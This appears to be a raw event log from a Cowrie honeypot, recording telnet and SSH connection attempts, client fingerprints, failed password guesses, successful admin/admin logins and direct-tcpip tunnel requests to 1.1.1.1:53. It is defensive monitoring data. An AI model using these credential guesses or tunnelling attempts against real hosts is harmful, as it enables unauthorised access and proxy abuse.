{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46164,"dst_ip":"10.17.0.5","dst_port":23,"session":"d09215b4dc34","protocol":"telnet","message":"New connection: 164.68.122.45:46164 (10.17.0.5:23) [session: d09215b4dc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:47.860996Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49964,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f6a3f518a05","protocol":"telnet","message":"New connection: 164.68.122.45:49964 (10.17.0.5:23) [session: 8f6a3f518a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:53.603893Z"}
{"eventid":"cowrie.session.closed","duration":30.590088367462158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:56.082539Z","src_ip":"164.68.122.45","session":"14e5262c5133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7146999835968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:57.972898Z","src_ip":"164.68.122.45","session":"602681296d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":41562,"dst_ip":"10.17.0.5","dst_port":23,"session":"63cc969a7d83","protocol":"telnet","message":"New connection: 199.231.212.75:41562 (10.17.0.5:23) [session: 63cc969a7d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:58.210071Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":44398,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6236b097cf9","protocol":"telnet","message":"New connection: 199.231.212.75:44398 (10.17.0.5:23) [session: e6236b097cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:06.664491Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":34060,"dst_ip":"10.17.0.5","dst_port":23,"session":"f56f4c0e0197","protocol":"telnet","message":"New connection: 199.231.212.75:34060 (10.17.0.5:23) [session: f56f4c0e0197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:11.054199Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":34066,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fe202c8f95f","protocol":"telnet","message":"New connection: 199.231.212.75:34066 (10.17.0.5:23) [session: 8fe202c8f95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:11.174798Z"}
{"eventid":"cowrie.session.closed","duration":31.013596296310425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:13.304626Z","src_ip":"164.68.122.45","session":"ce543c4f262e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51164,"dst_ip":"10.17.0.5","dst_port":23,"session":"47be43179bc8","protocol":"telnet","message":"New connection: 164.68.122.45:51164 (10.17.0.5:23) [session: 47be43179bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:14.206831Z"}
{"eventid":"cowrie.session.closed","duration":30.435775995254517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:18.296654Z","src_ip":"164.68.122.45","session":"d09215b4dc34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704234838485718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:24.308003Z","src_ip":"164.68.122.45","session":"8f6a3f518a05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":55868,"dst_ip":"10.17.0.5","dst_port":23,"session":"480f538b826c","protocol":"telnet","message":"New connection: 164.68.122.45:55868 (10.17.0.5:23) [session: 480f538b826c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:26.227002Z"}
{"eventid":"cowrie.session.closed","duration":30.866685390472412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:29.076612Z","src_ip":"199.231.212.75","session":"63cc969a7d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93586230278015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:37.600259Z","src_ip":"199.231.212.75","session":"e6236b097cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46386,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae2ad1431c56","protocol":"telnet","message":"New connection: 199.231.212.75:46386 (10.17.0.5:23) [session: ae2ad1431c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:41.592623Z"}
{"eventid":"cowrie.session.closed","duration":31.248167514801025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:42.302262Z","src_ip":"199.231.212.75","session":"f56f4c0e0197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27571392059326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:42.450412Z","src_ip":"199.231.212.75","session":"8fe202c8f95f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c864ebb33a","protocol":"telnet","message":"New connection: 199.231.212.75:46394 (10.17.0.5:23) [session: 13c864ebb33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:44.388139Z"}
{"eventid":"cowrie.session.closed","duration":30.984711170196533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:45.191416Z","src_ip":"164.68.122.45","session":"47be43179bc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856117963790894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:34:57.082938Z","src_ip":"164.68.122.45","session":"480f538b826c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450939655303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:35:12.043398Z","src_ip":"199.231.212.75","session":"ae2ad1431c56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.109.8","src_port":42273,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a02e4b32f3","protocol":"ssh","message":"New connection: 45.33.109.8:42273 (159.203.135.109:22) [session: f4a02e4b32f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:35:13.121897Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:35:14.060835Z","src_ip":"45.33.109.8","session":"f4a02e4b32f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.180469274520874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:35:15.568483Z","src_ip":"199.231.212.75","session":"13c864ebb33a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34092,"dst_ip":"10.17.0.5","dst_port":22,"session":"032cdb6e4abc","protocol":"ssh","message":"New connection: 2.57.121.25:34092 (10.17.0.5:22) [session: 032cdb6e4abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:22.828944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:22.833695Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:22.937837Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27061981","message":"login attempt [user/27061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:23.427330Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27031982","message":"login attempt [user/27031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:24.536695Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27031981","message":"login attempt [user/27031981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:25.645827Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27011991","message":"login attempt [user/27011991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:26.752976Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26262626","message":"login attempt [user/26262626] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:27.860348Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:28.970506Z","src_ip":"2.57.121.25","session":"032cdb6e4abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39474,"dst_ip":"159.203.135.109","dst_port":23,"session":"67290bf572a1","protocol":"telnet","message":"New connection: 174.138.46.234:39474 (159.203.135.109:23) [session: 67290bf572a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:35.594825Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39648,"dst_ip":"159.203.135.109","dst_port":23,"session":"86d8191adba6","protocol":"telnet","message":"New connection: 174.138.46.234:39648 (159.203.135.109:23) [session: 86d8191adba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:36.322939Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39934,"dst_ip":"159.203.135.109","dst_port":23,"session":"acb3f9dd9b54","protocol":"telnet","message":"New connection: 174.138.46.234:39934 (159.203.135.109:23) [session: acb3f9dd9b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:37.288803Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39234,"dst_ip":"159.203.135.109","dst_port":23,"session":"c701595bd9a9","protocol":"telnet","message":"New connection: 174.138.46.234:39234 (159.203.135.109:23) [session: c701595bd9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:37.768031Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40726,"dst_ip":"159.203.135.109","dst_port":23,"session":"a669a6d19802","protocol":"telnet","message":"New connection: 174.138.46.234:40726 (159.203.135.109:23) [session: a669a6d19802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:40.084862Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40882,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c27b95a42b2","protocol":"telnet","message":"New connection: 174.138.46.234:40882 (159.203.135.109:23) [session: 3c27b95a42b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:40.590878Z"}
{"eventid":"cowrie.session.closed","duration":4.101086616516113,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:41.868953Z","src_ip":"174.138.46.234","session":"c701595bd9a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.903348207473755,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:42.498077Z","src_ip":"174.138.46.234","session":"67290bf572a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.079146146774292,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:43.367827Z","src_ip":"174.138.46.234","session":"acb3f9dd9b54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.91910982131958,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:44.241931Z","src_ip":"174.138.46.234","session":"86d8191adba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.879202365875244,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:36:45.963941Z","src_ip":"174.138.46.234","session":"a669a6d19802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.49971342086792,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:35.090478Z","src_ip":"174.138.46.234","session":"3c27b95a42b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35036,"dst_ip":"10.17.0.5","dst_port":22,"session":"9528ffe10488","protocol":"ssh","message":"New connection: 87.251.64.176:35036 (10.17.0.5:22) [session: 9528ffe10488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:46.810541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:46.815856Z","src_ip":"87.251.64.176","session":"9528ffe10488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:46.912184Z","src_ip":"87.251.64.176","session":"9528ffe10488","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:47.202383Z","src_ip":"87.251.64.176","session":"9528ffe10488","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:47.302083Z","session":"9528ffe10488","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:47.400195Z","src_ip":"87.251.64.176","session":"9528ffe10488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:37:47.503077Z","src_ip":"87.251.64.176","session":"9528ffe10488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.159.220.42","src_port":42202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ae422490eb","protocol":"telnet","message":"New connection: 178.159.220.42:42202 (10.17.0.5:23) [session: a8ae422490eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:38:59.105141Z"}
{"eventid":"cowrie.session.closed","duration":0.007602214813232422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:38:59.112628Z","src_ip":"178.159.220.42","session":"a8ae422490eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.197.195.36","src_port":57716,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0e449316f0","protocol":"telnet","message":"New connection: 45.197.195.36:57716 (10.17.0.5:23) [session: 9c0e449316f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:39:13.617746Z"}
{"eventid":"cowrie.session.closed","duration":13.21229887008667,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:39:26.829913Z","src_ip":"45.197.195.36","session":"9c0e449316f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.189.182.24","src_port":43798,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba5841eedb9","protocol":"telnet","message":"New connection: 177.189.182.24:43798 (159.203.135.109:23) [session: 0ba5841eedb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:33.474565Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14206,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0adc7e34c80","protocol":"ssh","message":"New connection: 87.251.64.176:14206 (10.17.0.5:22) [session: c0adc7e34c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:43.259725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:43.262925Z","src_ip":"87.251.64.176","session":"c0adc7e34c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:43.358843Z","src_ip":"87.251.64.176","session":"c0adc7e34c80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:43.647218Z","src_ip":"87.251.64.176","session":"c0adc7e34c80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:43.752157Z","session":"c0adc7e34c80","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:43.851982Z","src_ip":"87.251.64.176","session":"c0adc7e34c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:43.950430Z","src_ip":"87.251.64.176","session":"c0adc7e34c80","protocol":"ssh"}
